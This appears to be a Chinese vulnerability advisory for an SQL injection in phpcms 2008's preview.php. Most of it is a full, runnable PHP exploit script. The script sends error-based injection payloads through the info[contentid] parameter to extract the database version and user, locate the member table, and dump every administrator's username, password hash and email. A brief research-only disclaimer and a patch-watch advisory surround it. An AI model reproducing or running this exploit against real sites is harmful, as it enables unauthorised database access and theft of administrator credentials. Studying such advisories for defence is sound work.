phpcms 2008 /preview.php SQL注入漏洞

漏洞版本:phpcms 2008漏洞描述:phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。ph

漏洞版本:

phpcms 2008

漏洞描述:

phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。

phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. 可能使用的时候要更改一下User-Agent,否则注入不成功。
  2. 注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
  3. <?php
  4. /**
  5. * Created by 独自等待
  6. * Date: 13-11-24
  7. * Time: 下午8:36
  8. * Name: phpcms2008_preview.php
  9. * 独自等待博客:http://www.waitalone.cn/
  10. */
  11. print_r('
  12. +------------------------------------------------------+
  13. PHPCMS2008 preview.php 注入EXP
  14. Site:http://www.waitalone.cn/
  15. Exploit BY: 独自等待
  16. Time:2013-11-24
  17. +------------------------------------------------------+
  18. ');
  19. if($argc <3){
  20. print_r('
  21. +------------------------------------------------------+
  22. Useage: php '. $argv[0].' host path
  23. Host: target server (ip/hostname)
  24. Path: path of phpcms
  25. Example: php '. $argv[0].' localhost /phpcms
  26. +------------------------------------------------------+
  27. ');
  28. exit;
  29. }
  30. error_reporting(7);
  31. //统计时间
  32. $start_time = func_time();
  33. $host = $argv[1];
  34. $path = $argv[2];
  35. $cookie ='';//请把会员cookie写入此变量中
  36. if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
  37. if(preg_match('/MySQL Query/i', send_pack("'"))){
  38. //数据库版本
  39. $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  40. echo '数据库版本:'. get_info($db_ver)."\n";
  41. //数据库用户
  42. $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  43. echo '数据库用户:'. get_info($db_user)."\n";
  44. //获取用户表
  45. $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  46. $member = get_info($db_member);
  47. //获取管理员数量
  48. $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  49. $ad_count = get_info($db_count);
  50. echo '管理员表中共有--['. $ad_count .']--个管理员'."\n";
  51. //显示注入数据
  52. foreach(range(0,($ad_count -1))as $i){
  53. $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  54. echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
  55. }
  56. }else{
  57. exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
  58. }
  59. //提取返回信息
  60. function get_info($info)
  61. {
  62. preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
  63. if(preg_match('/charset=utf-8/i', send_pack($info))){
  64. return iconv('utf-8','gbk//IGNORE', $match_string[1]);
  65. }else{
  66. return $match_string[1];
  67. }
  68. }
  69. //发送数据包函数
  70. function send_pack($cmd)
  71. {
  72. global $host, $path, $cookie;
  73. $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
  74. $data .="Host: ". $host ."\r\n";
  75. $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
  76. $data .="Cookie:". $cookie ."\r\n";
  77. $data .="Connection: Close\r\n\r\n";
  78. //echo $data;
  79. //这里一定要2个\r\n否则将会一直等待并且不返回数据
  80. $fp =@fsockopen($host,80, $errno, $errstr,30);
  81. //echo ini_get('default_socket_timeout');//默认超时时间为60秒
  82. if(!$fp){
  83. echo $errno .'-->'. $errstr;
  84. exit('Could not connect to: '. $host);
  85. }else{
  86. fwrite($fp, $data);
  87. $back ='';
  88. while(!feof($fp)){
  89. $back .= fread($fp,1024);
  90. }
  91. fclose($fp);
  92. }
  93. return $back;
  94. }
  95. //时间统计函数
  96. function func_time()
  97. {
  98. list($microsec, $sec)= explode(' ', microtime());
  99. return $microsec + $sec;
  100. }
  101. echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
  102. ?>

安全建议:

目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本:http://www.phpcms.cn